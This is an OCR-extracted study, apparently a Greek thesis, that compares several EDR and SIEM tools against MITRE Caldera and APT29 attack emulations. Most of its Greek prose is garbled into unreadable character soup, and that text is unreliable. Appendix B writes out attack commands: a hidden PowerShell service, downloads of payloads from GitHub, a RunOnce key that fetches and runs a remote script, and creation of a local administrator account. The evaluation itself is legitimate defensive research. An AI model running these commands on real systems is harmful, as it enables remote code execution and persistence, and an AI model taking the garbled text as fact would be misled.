TIG VINPEGIES TOV TPEYOVV GE EVA GUGTI A, KO AVTIOTOLYILEL YVWOTEG gvmbfetec.

w Feb 1, 20823 @ 22:49:008.824 ATT&CK T1886: Malicious PowerShell Commandlets

[ Expanded document

Table JSON

t _index wazuh-alerts-4.x-2823.82.61

t agent.id ee3

t agent.ip 192.168.1.16

t agent.name DESKTOP-PESFJ65

t data.win.eventdata.messageNumber 18

t data.win.eventdata.messageTotal 28

t data.win.eventdata.path C:\\Users\\Administrator\\Desktop\\powerview.ps1

Ew.17 — Evromopdg ameiiig ané kavova SIGMA

Y10 apynTikd Oo Tpémel va avaeepel OTL 1) AmOTEAEGHATIKOTNTO, TOV Kavovey eéaptdtal and v
noldTTo ToVG. H mototto tev kavdévev mov ypnoiworomdnkay, dev a&loAoyndnke. A&loloynonke pnovo

KoTé 1060 Umopov va fertimbovv ot duvatotnteg tov WAZUH pe tn ypfion Touc.

EmuAéov n ypnom tov Sysmon og emiyeipnolokd mepifdriov dev eivar mpaxtikiy.To SYSMON
onpovpyel oA peydio apBud events ta oroia dev pmopovv gvkoia va avoivBovv amd éva SIEM 1 éva

EDR.
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3.2. OSSEC

To OSSEC, dwbétel o povo, mivoko OmTEKOVIONG TOV YEYOVOT®V OGQAAEING TOV EXEL
aviyvevoet. [epropileton o€ po oA amapiBunomn TV TEPICTOTIKOV [LE AETTOUEPELEG TTOVL TTAPVEL OO TO
Agrtovpyikd Xvomua. To OSSEC, dgv dwabétel Suvatdtta yia aviiotoiyon pe to framework MITRE
ATT@CK. Katd cvvéneia, ot EDR duvatdtnteg otny avoyvopior (g TEXVIKNG, TOV eE0PTMOVTOL 0O TO

Boabuo AemTopEPEIOV TOV KOTOYPAPEL.

To OSSEC dwmotmbnke 6t ékave TAnpn katoypaen tov System, Security Application kot

Events. Exave nepiinmtikn kataypoen tov PowerShell Events , kot opiopévoe and ta Sysmon Events.

Ot xoavoveg tov OSSEC vy ta PowerShell Events (/var/ossec/rules/ms_powershell.xml)
nepropilovtar o€ 6. O kavovag 20505, eEléyyet Yo VTOnTEG EVIOAEG. AgV aviyveEVTE OUMC TIG EVTOAEG KOTA

v enifeon.

OvmAnpogopieg mov €dmaoe NTav TOAD Alyeg Kot o€ Kapia tepintmon dev propovsav va fonbnicovv

TO OVOALTY] VO VLY VEDGEL L0l OTTELAT.

210 TPATO 0eVAP10, KATOPHWGE VoL KATOYPAYEL OPIGUEVEG LOVO dPOACTNPLOTNTESG, TOL GYETI{OoVTaL

ue T dnuovpyio 1 TV TPOTOTOINGT EVOG AOYOPLAGLOD ¥PNOTY.

10 0e0TEPO GEVApLo, TG emiBeong APT29, dev aviyvevoe Timoto. AKOUW KOl Ol KUTOYPUPES TOV

PowerShell Events mov mepiéyovy 1o SCript mov ektehéotnke, eival ehAeinelc.

Level: 8 - Windows PowerShell was started. 2023 Jan 25 21:07:49
Rule Id: 20500
Location: (Target) 192.168.1.16->WinEvtLog
User: (no user)
2023 Jan 25 21:07:53 WinEvtLog: Windows PowerShell: INFORMATION(400): PowerShell: (no user): no domain: DESKTOP-PESFI6S.lab.local: Available None
NewEngineState=Awvailable
PreviousEngineState=None

Level: 8 - Windows PowerShell was stopped. 2023 Jan 25 21:07:32
Rule 1d: 20502
Location: (Target) 192.168.1.16->WinEvtLog
User: (no user)
2023 Jan 25 21:07:36 WinEvtLog: Windows PowerShell: INFORMATION(403): PowerShell: (no user): no domain: DESKTOP-PESFIGS.lab.local: Stopped Available
NewEngineState=Stopped
PreviousEngineState=Available

Level: 8 - Windows PowerShell command EICane. 2023 Feb 04 16:03:05
Rule Id: 20501
Location: (Target) 192.168.1.16->WinEvtLog
User: (no user)
2023 Feb 04 16:03:01 WinEvtLog: Windows PowerShell: INFORMATION(800): PowerShell: (no user): no domain: DESKTOP-PESFI6S.lab.local: Add-Type -Assembly
System.Windows.Forms;
DetailSequence=1
DetailTotal=1

Ew.18 — Evromonég PowerShell Event oto OSSEC

H ypnon mo “é&umvav” kavovov SIGMA yio v avtictoiyion pe to MITRE ATT@CK
Framework givon dvvar.

Agv Bpébniav Opmc kamolo £Tolpa TakETa LE KOVOVeS, og avtifeon pe 1o WAZUH.
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3.3. OSSEC+

To OSSEC+ ypnowonotei tov elastic agent kot koveora mov otnpiletar oto ELK. Xmpiletor ot
xpron tot 16iov Server ue 1o OSSEC (OSSEC HIDS 3.7.0). To ypagiko meptBdilov gival Loviépvo Kot

mopéyel meplocdtepeg Aemtopépeteg omd 1o OSSEC.

Iapot giye puBuiotel, dev katdpbwoe va kataypiyel PowerShell kol Sysmon Events.

Va3 Feb 4, 2023 @ 16:28:33.218  Security An account was successfully logged on. Subject: Security ID: S-1-5-18 Account Name:... DESKTOP-PE.. system system.security
Ve a-?-a Feb 4, 2023 @ 16:28:33.218  Security Special privileges assigned to new logon. Subject: Security ID: S-1-5-18 Account Nam. DESKTOP-PE. system system.security
= Feb 4, 2023 @ 16:28:33.218  Security An account was successfully logged on. Subject: Security ID: S-1-5-18 Account Name:... DESKTOP-PE.. system system.security
- Feb 4, 2023 @ 16:28:33.218  Security Special privileges assigned to new logon. Subject: Security ID: S-1-5-18 Account Nam. DESKTOP-PE. system system.security

- Feb 4, 2023 @ 16:27:41.987  Security An account was successfully logged on. Subject: Security ID: S-1-5-18 Account Name:... DESKTOP-PE.. system system.security

Ew.19 — Evromopdg Event 1o OSSEC+

370 TPMTO GEVAPLO, TEPLOPIGTNKE GTO VO EVTOTICEL TEPLGTATIKA TOV GYETILOVTOL LE TN OMLovpyia

Ko T Sloeipton evog xpnotn 1 Ko vEag VI peciog.

Y10 devTEPO OEVAP10, apKEGTNKE TNV TpoPoin tev Security kon Application Windows events.

3.4. OpenEDR

To OpenEDR, napovcialetl éva mivaxko eléyyov, dapoporomuévo o oyéon pe 1o WAZUH to
OSSEC kot to OSSEC+. Agv katoypapei 0Aa ta yeyovoto (Windows Event Logs), 6mog ta alid 2
cvotipato. Kataypdeet povo yeyovota ta onoia eivar vmonta. [Topddinia ta cuoyetilet pe kdmoto adbud

EMKIVOILVOTNTOG.

To OpenEDR, dnpovpyel €100TOMGEIC OTOV EVTOTIGEL U0, OTEIAT). 1€ KATOLEC TEPITTOCELS KOVEL
avTIeTOlYI0M TNG dpacTNPLOTNTOG IOV vTomioTnke pe TakTikés amd 10 MITRE ATT&CK Framework. T
TOPASELY LD, OTNV TEPITTOOT TNG TEXVIKNG Yo ONUovpyio vEUg VINPECING, EYOVUE OVTIOTOLYION UE Lo
teyvikn MITRE ATT&CK kot pdAioto, towtiletol pe v eyvikn mov ypnoiomoiinke. Xe avtictoym
nepintowon 1o WAZUH my giye avayvopiost, aAld pe dlapopeTikd Kmoko enifeonc. TiC TEPIGGOTEPES
TEPIMTAOCELS TAVIMG, TOV U0, EVEPYELN aVIXVELETE, Ogv LIapyel avtiotoiylon ue o MITRE ATT&CK

Framework.

Evd yevicd avty n mpocéyyion givar mo EEKOVPAGTN GTO UATL TOV SOXEPLOTH, 1] EAAEWYT TV
System, ko Security Logs Tov duokoAgvel va Bpet Aemtopepeis yia To Tt £xel ouuPei 6To cHOTNHO TPV Kol

LETA TO TTEPIOTATIKO.
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¥10 p@TO oevipro To OpenEDR aviyvevce meplocdTEPO TEPIGTATIKA GUYKPITIKA UE TO, OAAG
ovoThiuata. Agv aviyvevoe Opmg , TNV evepyonoinor tov Guest Account, n omoia aviyvedTnKe 0md To, GAAA

GUCTILOTAL.

210 0e0TEPO GEVAPLO, KOATAPEPE VO QAVIYVEDCEL TNV EKTEAEGT VMOMTOL KMOOWKO LE YPNOM

PowerShell.
IMapdAinio. evtomioe v gykatdotacn Tov client amd v TAevpd tov emTibépevov.

Eniong aviyvevoe v amoOmepa EDPECTG TV VINPEGLOY OV TPEYOVY GTO GUGTNUA, HE XPNON TNG
evtong tasklist /v. Aev umdpece OU®OG Vo AViYVELGEL TNV OTOTEPO EVPEGTG TOV SIEPYACIDV TOV TPEXOLV,

Otov ekteleoTIKE EVOALAKTIKG 1) evToAn Get-Process e PowerShell.

IMapopota, cuvéraPe TV EKTEAECT] TN EVTOANG Whoami.exe yio Thv ovayvdpiot Tov ypnot. Asv

owvédaPe Opmg v evtoln echo %username% 1 omoia 4ivel To 1510 amoTtélecua.
I'evikd dpmc o1 Tepimtdoelg eivor TEPLOPIGUEVEG,.

O OpenEDR agent,avtr] ™ ottypn dev givat mapopetpomotnoipos. O KaTacKevaoTéS 1oyvpilovral

6t og endueva releases o vapyel SuvoTdHTTA PLOUIGEDY E10TOMCEMY Kot SNUIOVPYING KAVOVMV.

Ew.19 OpenEDR

3.5. BlueSPAWN

To BlueSPAWN pmopei va tpé€et og 6v0 Kotaotdoeic. Xe kotdotaon reacting (Hunting) kotd v
omoia aviyvedel ETANYILES EVEPYELES TTOV EYOVV 110N EKTEAEDTEL 6TO GVOTNO KOTA TopeABOV Ko proactive

(monitoring) xatd tv onoia mapakolovbei éva chotua online yio pn ELGIOAOYIKES SPOCTNPLOTNTES.

H Aerrovpyeio tov eivon mopduola pe ) Asttovpyior tov OpenEDR, amd v dmoyn Ot mopéyet
amokielotikd EDR alerts.Aev mapéyelr minpoeopieg yio ta System Logs kot ta Security Logs twv

Windows, tdpa poévo ocvoyetilel Tic evépyeieg 6to cuotnua ue texvikéc oto MITRE ATT&CK framework.
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cution Subtechnique ©81: Registry Run Keys / Startup Folder

ersion\
Downloads

aw.githubusercontent.c

Ew.20 - BlueSPAWN aviyvevon arsihdv

Ymv perétn, to BIueSPAWN, étpee oe monitoring mode.Xpnoyonomnke n gvioin
\BLUESPAWN-client-x64.exe --monitor -a normal --log=console,xml pe tv omoio 1 epoppoy” TPEXEL HUE
pétpro Pabuod avaivong kot omekovilel Ta amoteAéspoTa 6TV 000V Kal To cdel Kot o€ apyeio THTOL .
xml.Ze kéBe gvpnuo, KAVEL AVTIGTOLYION LE TNV TOKTIKY OV GTHV OTOl0L OVAKEL, TNV TEYVIKY OV £XEL
ypnoomroindel kat Tov kdkd g TeXVIKNG, ovupmvo pe to MITRE ATT&CK. A&ilel va onueimdel ott
10 BIueSPAWN pmopel vo, mparyLotomoinoel GLOYETIGUO AVAUESO. 6T EVPAULOTA KOl VO, avéNoel To Babpd

BePardotnTog 0T, 01 EVEPYEIEG AMOTEAOVV UEPOG TAKTIKNG EMiBEOTG.

e Execution

xample Service

Ew.21 - BlueSPAWN 6v6yeTIopnog yeyovotmy

To BlueSPAWN «katdoepe va oviyvedoel T dnovpyia véwv vanpectav (“program execution in unquoted
path” kot “execute command as a service”) kafag eniong kot v gykotdotoon KAgwov RunOnce ot

Registry.
Agv gvtomioe OU®G TN dNUIoVPYic VE@V 1pNoTOV Kot TV evepyomoinomn tov Guest Account.

Y10 devtepo oevapio, to BIueSPAWN etpe&e oe monitoring mode.H evtoArn mov ypnoyromoinke

givar “\BLUESPAWN-client-x64.exe --monitor -a normal --log=console,xml --exclude-hunts T1484”. H
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T1484 éxave éheyyo yio ariayég otnv Group Policy tov cvatriupatog. Tnv eaipeca 61011 eniBeon APT29

OV TEPIEXEL TETOLN TEYVIKT, KO TAPGAAANAN KABVGTEPOVGE TO TPOYPOLLLAL.

To mpdypappe 0AOKANPp®GE TN Agttovpyio, Tov 6vo Popés, mply ohoxkAnpwbel 1 eopoiwon g
emifeong kot yperdotnke vo eravorldfo v eEopoimon ond v apyn. v Tpitn andnepa, VoTEPA and
40 Aemtd Aewtovpyeiog, umnke og hunting mode yw v taktiky 1547 Boot or Logon AutoStart
Execution.ITepipevo 15 Aemtd petd v ohokAnpwon tng emifeong kot diékoya to mpdypappe. To

BlueSPAWN o10 mode avto dev katéypaye timota.

Eava&ekvnoo to Tpoypapa og hunting mode pe v evroln “. \BLUESPAWN-client-x64.exe -

-monitor -a normal --log=console,xml --exclude-hunts T1484 .

Y¢ hunting mode , katdeepé vo aviyvevoet Tov client (cod.3aka3.scr) mov eykatootddnke omod

ToV EMTIOEUEVO, KoL O 0TTOI0G EKTEAEGTNKE OO SLOPOPETIKEG dlodpopég, vomtes yio. Process Injection.

Agv aviyvevoe OUm¢ Kamotlo GAAT SpacTnPLOTNTA.

<hunt>T1055 - Process Injection</hunt>

</associated-hunts>

<associated-data>
<property name="Base Address">0000000180000000</property>
<property name="Memory Size">2138112</property>
<property name="PID">1916</property>
<property name="Process Command">"C:\temp\cod.3aka3.scr" /S</property>
<property name="Process Name">C:\temp\cod.3aka3.scr</property>
<property name="Process Path">C:\temp\cod.3aka3.scr</property>
<property name="Type">Memory</property>

</associated-data>

</detection>

<hunt>T1055 - Process Injection</hunt>

</associated-hunts>

<associated-data>
<property name="Base Address">0000000002060000</property>
<property name="Memory Size">24576</property>
<property name="PID">9112</property>
<property name="Process Command">"C:\Windows\system32\cod.3aka3.scr" /S</property>
<property name="Process Name">C:\Windows\System32\cod.3aka3.scr</property>
<property name="Process Path">C:\Windows\System32\cod.3aka3.scr</property>
<property name="Type">Memory</property>

</associated-data>

</detection>
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3.6. TREND Micro Visio ONE

To TREND Micro Visio ONE, givou pia Abon XDR, oA ot a&lodloynon ypnoiuonodnke povo

to EDR module tov.

To Trend Micro, mapovciace eE0PETIKN EMIO00T KOl KOTAPEPE VO, EVTOTIOEL GYEOOV OAES TIG

evtolég mov ektéleoe to Caldera. Toco 610 TPdTO OGO KOl 6TO SEVTEPO GEVAPLO.

Detection filter ion actic Technique

Querying of System Owner or User Discovery Detects attempt to query System Owne...

System Owner User Discovery An attempt to gather user information ...

Credentials Enumeration In Reqistry Enumeration for Credentials in Registry

Enumeration for Credentials in Registry Enumeration for Credentials in Registry

Password Searching In Files via Command Prompt Search for passwords in files via comma...

Password Searching In Files Via Powershell String search password in files via Powe...

Uncommon Powershell Parameters Used in Com... An uncommaon powershell parameter in...

File Download via PowerShell - Invoke-WebRequ... Download a file using Powershell Invoke...

Uncommon Powershell Parameters Used in Com... An uncommaon powershell parameter in...

Credential Dumping via NPPSpy Modification of ProviderOrder Registry ...

Ew.22 TREND Micro Visio ONE aviyveven ameihdv

Ye «@Be €domoinon mov Smuovpynce  mPoPdAiel TN OAANAOLYIO TGV EVEPYEWDV TOL
TPOYUATOTOLEL TO GUGTN O KOl AVTIGTOLYILEL TNV TAKTIKT KOl TNV TEYVIKN cOpemva pe 1o MITRE ATT&CK

Framework.

H omdédoon ovt, katd kamowo tpoémo frov avauevopevn. H evooudtoon MITRE ATT&CK
Framework otig teyvoloyieg XDR/EDR givor mAéov dedouévn, kal Kotd cuvémelo 1 duvoatdtnto, vo
evromilovtal pepOVOpEVEG gvépyeleg mov Ba  pmopovoav va amoTEAEGOLV  MEPOC Mg emifeomng

OVOLLEVOLLEVT).

DESKTOP-PESFJE5, b:600:c74:cff... [ Dropping of PE File by Script Related Process script related pr opped an exe..  TAODOS T10
Detection filter ri: el ighli j ) Detection filter Descri Tactic
Dropping of PE File by Script Related Process A script related process dropped an executable file in the public f..

File Delivery via PowerShell Possible installation of attack tools via PowerShell

Suspicious File Creation in Uncommon Folder Identified file creation in uncommon folder which is usually levera...

Drapping OF PE File In An Uncommon Directory Via Powershell Powershell dropping a PE file in an uncommon directory

Ew.23 TREND Micro Visio ONE cveystiopog yeyovotov
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4. Yvunepdopoto

AT ta poypappata Tov cuykpidnikav, To WAZUH, OSSEC, OSSEC+ otnpilovtor ot 11 teyvoAoYia.

To WAZUH éygt dnpovpynbei wg fork tovo OSSEC e Baoikn dtapopd v evempdtoon tov pe to ELK
Stack (Elasticsearch, Logstash, and Kibana ).Awfétetr mapdopoto agent kot mapdpoto, manager.To OSSEC
avtonpoodiopiietor wg HIDS Avon, evd 1o WAZUH wg SIEM/XDR Adon. Avty givot ko 1 attio wov to
WAZUH pndpece va kéver oe éva Pabpo avtiotoiyion evog yeyovotog pe po teyvikny tov MITRE
ATT&CK Framework.To OSSEC dgv dnovpynoe ewdonojoelg EDR ovte ékave avtiotoiyion pe
10 MITRE ATT&CK Framework.ITpayupatoroince udvo mpoPorn tov yeyovotmv twv Windows.O pikpdg
Babuog dnuovpyiog ewdomomoewv EDR, ogeilete oty éAhenyn emapkdv kovovov, KOTL TOL Ogv
ovppaiver oty mepintoon tov TREND Micro Visio ONE. Kot ta. dvo mpoypaupate nrov puduicuéva
wote va dwPfalovv to Windows Power Shell Event Logs kat ta Event Logs tov SYSMON. 1o Tviepver
Bpébnkav ToALEG TYEG HE KOVOVEG Y10 EVTOTIGHO avauaAldy, dapalovtog ta Windows Event Logs, kot

Kavovtag avtiotoiyion pe to MITRE ATT&CK Framework (https://github.com/olafhartong/sysmon-

modular), (https://github.com/sametsazak/sysmon). H gwcdva tov Bertiddbnke onuoavtikd pe tn ypnon tov
kavovav SIGMA.

H dnuovpyia kavovov amortel peydin npoomdelo Kot 1 amoTEAECUATIKOTNT TOVG e€0pTATOL OO TV
owdTNTA Tovg. H duvatdtmta ¥pnomng Toug OPMG avadELKVOEL T duvatoOTNTO TOV GuaTHatog. Emiong to
yeyovog Ot Bpédnkav apkeTd EToyto maKETa, Ogiyvel TV eumioToocvvn g Open Source kowoTnTog 6TOo

TPOIOV.

To OSSEC, nepiopiotnke og amA] KATOypopt] TEPICTATIKMY. AKOUO KOl AVTN TV EAAMTNG GE OPIGUEVES
nepurtooels. Agv katéypaye Oho Ta Powershell eventg ovte to Sysmon events.Enitléov 1o yeyovog Ot
Bpétniav kavoveg SIGMA poévo yio 1o WAZUH icwg va onAdvel kot o otpoen tng Open Source

KowotnTog omokAelotikd oto WAZUH.

To OSSECH+, mapdtt ypnoyomotei dapopetikd agent, ypnoyonotet tov ido manager pe to OSSEC.Katd
OCUVETEW Ol TOPOINPNOEIS KO TO GUUMEPACUATO €lvarl T 10ia. Atobétel €va mo YpnoTkd Ypoeikod

nepPairov, aALd Tapovctalel OAeg Tic eEAAeiyelg Tov OSSEC.

To OpenEDR «atdgpepe vo. evtomicel o, 10i0 oyeddv, yeyovota. ZOueova pe to Site tov software to
OpenEDR ypnowomnotei éva Network Driver, file Driver DLL injection yio va gvtomicet puo avodpoin
ovoumeplpopa. ['evikd dev Ppédniay apKeTEC TANPOPOPIEC Y10 TN INUIOVPYIN EWOOTOGEMY, KOl YEVIKOTEPOL

v To Tpdypoupa, pe s€aipeon Tig 0dnyieg yio TNy gykatdotacn. Xopoktnplotikd to git repository yio
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tovg Community OpenEDR xavéveg dnpuovpyndnke uolc mpwv 3 uiveg. Emiong n eykoatdotoon tov Server

eivon ovvOetn. H kowdmto mpocavotorifetal otn dnpovpyia evog installer yio to péddov.

To BlueSpawn améyst axépa omd 10 vo yoapaktnpotei EDR  Avon. Eueovifer éva Pfabud
OTOTELECUOATIKOTNTOG TOPOUOL0 UE TIS GAAES 4 VAOTOWOELG £XEL EVOLOPEPOVTA YOPUKTNPIGTIK(, OTMG TO
Hunting Mode ka1 0 cuoyetiopdg tov yeyovotog mov evtomilel. Bpioketon ot @don alpha g avamtuéng

70V dgv VooTNPilel cvotrata Linux kot dev drabétel Exdoon Server.

Q¢ o yevikny ektipnon, Oia too Open Source mpoypdupoto, £YovV GOEECTEPN  MIKPOTEPT
OTTOTEAECLLOTIKOTNTO OO TNV EMAYYEALOTIKN ADGT, KOl HeTAED TOVS TOPOUOLY OMOTEAEGHOTIKOTITA KO
mapopole. amoteréopata. Avtd evdeyolévag opeihetal ot duvatdtNTeg TV agent mov Kotd Kovova

dapalovv ta Event Logs tov cvotipatog Windows 10.

SOUTEPAGLOTIKA, OV KATOL £TOLPEin EMEAEYE, ONUEPQ, LA OO TIC TOPATAVEO ADGELS Y10l ETOLYYEALOTIKY|
xpfon, N Abon Ba umopodoe vo pmopovse va givar to WAZUH.AwaBétel 6Aa To 40pOKTNPIOTIKA TOV
OSSEC ka1 OSSEC+ ko emmAéov €xel emapkn Piproypapia kot duvarr kowotnta. [apdriinia Sabétet
duvartotnteg SIEM kot HIDS ko givan e€oupetid mapapetporomonun. Kavovtag piag cvykpion pe pua
emayyeluatikn Aoon, omwg 1o TREND Micro Visio ONE dwamictdvovpe gdkoAa 6Tt vroleineton moAd.
E&aptator Opmg omd ninedo wpldTnTog 0TOV TOUEN TG AGPAAELNG, Kot TG dlaygiptong piockov, Tov kdbe

opyavicpov, av 0o Bewpnoet to WAZUH w¢ o amodektn Avon.

To OpenEDR eivot éva moAd vdiapépov Project kabmg £xel cupmepipopd aprydg EDR.H eAAmnig oumg
Biproypapio kot n advvaun Open Source Koot Ta, SNUOVPYOVV TPOPATUATIGUO GTIV ETOYYEALATIKY
YPAOM TOL aVTR TN oTyUn. Ou &xel evdlEépov va dovue oe 7o kotebbuvvon Ba kwvnbodv ot
KOTOGKELOGTEC TOL KUL OV GE EMOUEVEC EKOOGELS B0l ONLOVPYNGOLVY EVOL EDKOAN VAOTOIGILLO OPEN source

server kot ov 0o SOGOVY dSVVATOTNTEG TOPAUETPOTOINGTG GTOV agent.
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[Mapaptuo A — Xvvontikd anotelécuota 1°° cevapiov

OSSEC+ OpenEDR BlueSpawn Visio One
o/o Teyvuan
1.1.  System Services
: 2edled AvvebTike AvyyvedTnke AviyvevTnke
1 Command as a Service 11543.003 AviyvedTnke AviyvedTnke Ti)év59 Ogl T1x569 ng AviyvedTike
T1569.002 SIGMA ' '
. . AvyyvevTnke . .
. Service Creation : : AviyvevTnke AviyvevTnke &
2 T1569.002 T1543.003 AviyvevTnke AV veuTnKE T1059.001 T1569.002 AviyveouTnke
SIGMA
. Malicious link : . - . &
3 execution T1059.003 SIGMA AgV aviveUTNKE  Agv aviYveELTNKE  AEV avi(VELTNKE AEV aVI(VEDTNKE AV VEDTNKE
4 : SRR SIGMA Agv aviyveUTNKe  Agv aviyveUTNKeE AEgV aviyveDTNKE AEV aVI(VEDTNKE AV VEDTNKE
execution - T1204.002 xvevt xvevm xveve xvevm AveLTh
. Anpuovpyio piog
5 véag Win32_Process : SIGMA AgV aviveUTNKE  Agv avViYveELTNKE  AEV avi(VELTNKE  AEV aVI(VEDTNKE AV VEDTNKE
T1047
2. Persistence ! /|
. Registry Run
6 Keys/StartUp Folder: AEV OVIYVEVTNKE  AgV aviveLTNKE  Agv aviyveDTNKE  Agv aviyvedTNKe Agv aviyvedTNKeE AViYVEVTNKE
T1547.001
7 . Logon Script: A : A - A - A : A . &
T1037.001 EV OVVEVTNKE €V OVILVEVTIKE EV OVILVEVTIKE EV OVLVEVLTIKE EV OVL(VELTNKE  AVi(VEVTNKE
. Local Account: AV vevTKE . . , . .
8 T1078.003 T1098 AgV avIVELTNKE  AEV GV VEVTNKE AVIYVEVTIKE
9 23 ei‘égﬂ:igrzlggered A€V OVIYVEVTNKE  AEV aviveOLTNKE  Agv aviyveDTIKE  Agv aviyveOTNKE Agv aviyveOTNKE AV(VEVTNKE
10 : TlAE&%C&I;thLLS: SIGMA Agv aviyvevTNKE  Agv aviyvevTNKE AviyvevTnke AgV aviyveLTNKE AVIYVEVLTNKE
11 24. Hllj:?g\lfvExecutlon Agv aviyveDTNKE  AgV aVIYVEVLTNKE  Agv aviyveOTNKE  AEV AVIYVEVTNKE AEgV AVIYVEVTNKE ST T
. DLL Search Order . . . . 2 2
12 Agv aviyveEDTNKE  AgV aviyveLTNKE  Agv aviyveDTIIKE  Agv aviyveOTNKE Agv AV VEVTIIKE AVIYVEVTNKE

Highjacking :T1574.001
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13

. Path Interception
by Unqguoted Path:
T1547.009

14

. Service Registry
Permission Weakness:
T1547.009

15

. Scheduled Job
:T1053.002

16

. Default Accounts:
T1078.001

3. Defense Evasion

17

. Abuse Elevation
Control Mechanism:
Bypass User Access

Control Media: T1548.002

18

. Windows File and
Directory Modification:
T1070.006

19

. Hidden Window:
T1564.003

20

. Hidden User:
T1564.002

21

. Disable or Modify
System Firewall:
T1562.004

22

. Disable windows
Event Logging: T1562.002

1. Credential Access

23

. Leverage
Procdump for Isass
memory: T1003.001

AvyyveiTnke
T1543.003

Agv avyyvevTnKe

AEV aVIVEVTNKE

AvyyvedTnke
T1098
SIGMA

SIGMA

A€V OVIVEVTNKE

AvyyvedTnke
T1098 T1484
Persistance

SIGMA

SIGMA

SIGMA

Agv aviyvevTnke

Agv aviyvevTnKe

Agv aviyvevTnke

AviyvedTnke

Agv aviyvevTnke

Agv aviyvevTnke

Agv aviyvevTnke

AvyyvedTnke

Agv aviyvevTnKe

AEV oV VEVLTNKE

AEV OV VEVTNKE

AviyvedTnke

AEV oV VEVTNKE

AEV aVIVEVTNKE

AgV aviyvevTNKE
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A&V aviyvevTnKe

AEV oV VEVLTNKE

AEV oV VEVLTNKE

AvyyvedTnke

AEV oV VEVLTNKE

AEV oV VEVTNKE

AgV avyyvevTNKE

AviyvevTnke

Agv aviyvevTnke

Agv aviyvevTnke

AEV aVIVEVTNKE

Agv aviyvevTnKe

AEV aVIVEVTNKE

AEV OVLVEVTNKE

AEV aVLVEVTNKE

AEV aVLVEVTNKE

AEV aVLVEVTNKE

AEgV aviyvevTNKE

AvyyvedTnke
T1569.002

AgV aviyvevTnKe

AgV aviyvevTnKe

AEV OVLVEVTNKE

AgV aviyvevTnKe

AEV OVLVEVTNKE

AgV aviyvevTnKe

AgV aviyvevTnKe

AgV aviyvevTnKe

AgV aviyvevTnKe

Agv aviyveuTnKe

AviyvedTnke

AviyvedTnke

AviyvedTnke

AviyvedTnke

AviyvedTnke

AviyvedTnke

AviyvedTnke

AviyvedTnke

AviyvedTnke

AviyvedTnke

AviyvevTnke




24

. Credential
dumping using NPPSpy:
T1003

25

. Power dump
hashes and usernames from
the registry: T1003.002

26

. Credentials in
Registry: Enumeration in
HKLM: T1552.002

27

. Credentials in files:

T1552.001

A

Lateral Movement

28

. RDP Highjacking:
T1563.002

5.2. Remote Services

29

. SMB Windows
shares T1021.002

30

. Windows Remote
Management T1021.006

Command and
Control

31

. DNS: T1071.004

32

Eyxabiotd to TpoYpappa
LogMeln:T1219

7. Exfiltration

33

7.1. Automated
exfiltration: T1020

34

. Exfiltration Over
C2 Channel: T1041

8. Impact

35

. Change User
Password — Windows:
T1531
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36 Overwrite deleted data on

Data Destruction:

C drive:T1485

37

Anovpyel éva apyeio yio

Leave note:

SIGMA
va. To Bpel o

ypotc T1491

38

Download meme-

Katz: T1491 e

8.3.
39 Highjacking Monero

Resource
AEV aVIVEVTNKE
mining: T1496

40

Logoff System:
T1529

AviyvedTnke
SIGMA

AEV aVIVEVTNKE

AEV oV VEVLTNKE

AEV oV VeEVLTNKE

AEV oV VEVLTNKE

AviyvedTnke

AEV aVIVEVTNKE

AEV avIVEVLTNKE

AEV oV veEVLTNKE

AEV oV VEVLTNKE

AviyvedTnkKe

AvixveUTnKe autopOTa

AvixveUTnKe L Xprion Kavovwy Sigma

AvixveUTNKE TO YEYOVOC Hovo. Aev cuoyetiotnke pe to MITRE
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AEV avIVEVLTNKE

AEV avIvVeELTNKE

AEV aVIVEVTNKE

AEV aVIVEVTNKE

AEV OVLVEVTNKE

AEV OVIVEVTNKE

AEV OVLVEVTNKE

AEV OVIVEVTNKE

AEV OVLVEVTNKE

AviyvedTnke

AviyvedTnke

AviyvedTnke

AviyvedTnke

AviyvedTnke




[Mopdptnuo B — Evtodéc mov ektedéotnkay and to MITRE CALDERA 10 1° cevépio

Name Tactic Technique Code
Execute a sc.exe create ARTService binPath="%COMSPEC% /c powershell.exe -nop -w
Command as execution System Services: Service Execution | hidden -command New-Iltem -IltemType File C:\art-marker.txt" && sc.exe start
a Service ARTService && sc.exe delete ARTService
LNK Invoke-WebRequest -OutFile $env: Temp\test10.Ink
Payload execution User Execution: Malicious File https://raw.g|thuIc_)usercontent.com/redcanarycg/atqm|c-r<'ald- )
Download team/master/atom|cs/T1204.002/b|n/testh.Ir_1k ; $filel = "$env: Temp\test10.Ink™;
Start-Process $filel; Start-Sleep -s 10; taskkill /IM a.exe /F
echo var url = "https://raw.githubusercontent.com/redcanaryco/atomic-red-
team/master/LICENSE.txt", fso =
WScript.CreateObject('Scripting.FileSystemObject"), request, stream; request =
0STap WScript.CreateObject(‘MSXML2.ServerXMLHTTP'); request.open('GET", url,
Payload execution User Execution: Malicious File false);_ request.seno_l(); If (request.status === 200) {stream =
D ' WScript.CreateObject('ADODB.Stream’); stream.Open(); stream.Type = 1;
ownload . _ A
stream.Write(request.responseBody); stream.Position = 0;
stream.SaveToFile(filename, 1); stream.Close();} else
{WScript.Quit(1);}WScript.Quit(0); > % TEMP%\OSTapGet.js && cscript
/[E:Jscript % TEMP%\OSTapGet.js
Create a
Process $Class = New-Object Management.ManagementClass(New-Object
using execution Windows Management Management.ManagementPath("Win32_Process")); $NewClass =
obfuscated Instrumentation $Class.Derive("Win32_Atomic"); $NewClass.Put(); Invoke-WmiMethod -Path
Win32_Proc Win32_Atomic -Name create -ArgumentList notepad.exe
ess
$RunONnceKey =
"HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"; set-
PowerShell .| itemproperty $RunOnceKey "NextRun" ‘powershell.exe "IEX (New-Object
Registry multiple BOOt. or Logon Autostart Execution: Net.WebClient).DownloadString( "https://raw.githubusercontent.com/redcanaryco
RuUNONCe Registry Run Keys / Startup Folder Jatomic-red-

team/36f83b728bc26a49each0535edc42be8c377ac54/ARTifacts/Misc/Discovery.b
at™)™
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echo "echo Art "Logon Script" atomic test was successful. >>

6 Logon multiple Boot or Logon Initialization Scripts: | %USERPROFILE%\desktop\T1037.001-log.txt" > %temp%\art.bat && REG.exe
Scripts Logon Script (Windows) ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d
"O%%temp%o\art.bat" /f
Create local
7 account_with multiple valid Accounts: Local Accounts net user art-test /add && net user art-test #{password} && net localgroup
admin administrators art-test /add
privileges
rgg;?;tri/ _ _ Copy-ltem 7e8ee7_AtomicTest.dll C:\Users\Public\AtomicTest.dll —Fo_rce; reg add
